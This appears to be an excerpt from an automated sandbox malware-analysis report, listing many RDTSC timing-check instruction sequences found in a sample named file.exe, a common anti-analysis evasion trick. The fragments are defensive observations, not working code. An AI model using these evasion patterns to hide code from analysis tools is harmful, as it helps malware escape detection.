Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8329BC second address: 8329CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF40C70B05Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8329CE second address: 8329DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FF40CBDB926h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8329DA second address: 8329DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8329DE second address: 8329E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8329E2 second address: 8329F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF40C70B056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FF40C70B056h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8329F8 second address: 8329FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832B6F second address: 832B7D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FF40C70B056h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832B7D second address: 832B81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832FC8 second address: 832FD6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF40C70B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832FD6 second address: 832FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838DC5 second address: 838DF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B060h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF40C70B064h 0x00000011 jo 00007FF40C70B058h 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837CB4 second address: 837CBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837CBA second address: 837CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF40C70B056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837CC4 second address: 837CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837E30 second address: 837E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8380DC second address: 8380E2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838236 second address: 838247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF40C70B056h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8387E9 second address: 8387ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8387ED second address: 8387F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8387F1 second address: 8387FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8387FE second address: 838804 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838804 second address: 838812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jne 00007FF40CBDB926h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C2BA second address: 83C2BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F04F second address: 83F056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842417 second address: 842421 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF40C70B05Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842150 second address: 842155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842155 second address: 84215B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84215B second address: 842165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF40CBDB926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84929C second address: 8492CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF40C70B069h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FF40C70B05Ch 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007FF40C70B056h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849428 second address: 849436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849888 second address: 84988C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84988C second address: 8498B3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF40CBDB926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF40CBDB939h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8498B3 second address: 8498BD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8498BD second address: 8498C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA25B second address: 7FA25F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA338 second address: 7FA33E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA33E second address: 7FA343 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84DE4B second address: 84DE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E147 second address: 84E154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FF40C70B056h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E154 second address: 84E18B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF40CBDB938h 0x0000000c jmp 00007FF40CBDB934h 0x00000011 popad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E2DE second address: 84E2EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF40C70B05Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E2EC second address: 84E303 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB933h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E303 second address: 84E31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF40C70B060h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E598 second address: 84E59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E59C second address: 84E5A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E5A0 second address: 84E5AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF40CBDB926h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E6EC second address: 84E70E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF40C70B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF40C70B068h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E70E second address: 84E715 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E715 second address: 84E726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853D5C second address: 853D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853D60 second address: 853D6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853D6C second address: 853D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85351F second address: 85352E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FF40C70B056h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8536B6 second address: 8536BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8536BA second address: 8536BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859B9F second address: 859BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF40CBDB936h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859E28 second address: 859E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FF40C70B056h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A183 second address: 85A196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF40CBDB92Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A196 second address: 85A1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF40C70B061h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A1B0 second address: 85A1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A1B4 second address: 85A1BE instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF40C70B056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A1BE second address: 85A1CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A1CC second address: 85A1D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A1D2 second address: 85A1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007FF40CBDB926h 0x0000000d jmp 00007FF40CBDB92Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A1ED second address: 85A1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A1F4 second address: 85A1FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FF40CBDB926h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A1FF second address: 85A219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF40C70B056h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FF40C70B05Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A4F6 second address: 85A4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A4FA second address: 85A50E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF40C70B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e js 00007FF40C70B056h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A50E second address: 85A512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A512 second address: 85A525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007FF40C70B058h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A525 second address: 85A52B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A52B second address: 85A52F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A52F second address: 85A533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A533 second address: 85A539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A7EC second address: 85A7F8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A7F8 second address: 85A7FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A7FE second address: 85A802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AA96 second address: 85AAAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B060h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B33B second address: 85B340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B340 second address: 85B346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8652B6 second address: 8652C0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF40CBDB926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8652C0 second address: 8652C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8646F7 second address: 8646FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864898 second address: 8648A6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF40C70B058h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8648A6 second address: 8648B9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007FF40CBDB930h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864A0A second address: 864A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864A10 second address: 864A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864A14 second address: 864A31 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jng 00007FF40C70B056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF40C70B05Ch 0x00000011 push ecx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864B75 second address: 864B7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864B7B second address: 864B87 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF40C70B05Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864E7C second address: 864E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864FE3 second address: 864FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF40C70B056h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D339 second address: 86D33D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D33D second address: 86D347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C229 second address: 86C22D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C22D second address: 86C251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007FF40C70B056h 0x0000000d jnc 00007FF40C70B056h 0x00000013 jno 00007FF40C70B056h 0x00000019 popad 0x0000001a jne 00007FF40C70B05Eh 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C251 second address: 86C25A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CB62 second address: 86CB7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF40C70B067h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CB7E second address: 86CB88 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B1DE second address: 86B1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B1E4 second address: 86B208 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF40CBDB935h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jne 00007FF40CBDB926h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872DF4 second address: 872E06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872E06 second address: 872E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875DFA second address: 875DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875DFE second address: 875E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FF40CBDB92Ch 0x0000000c js 00007FF40CBDB932h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881B30 second address: 881B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
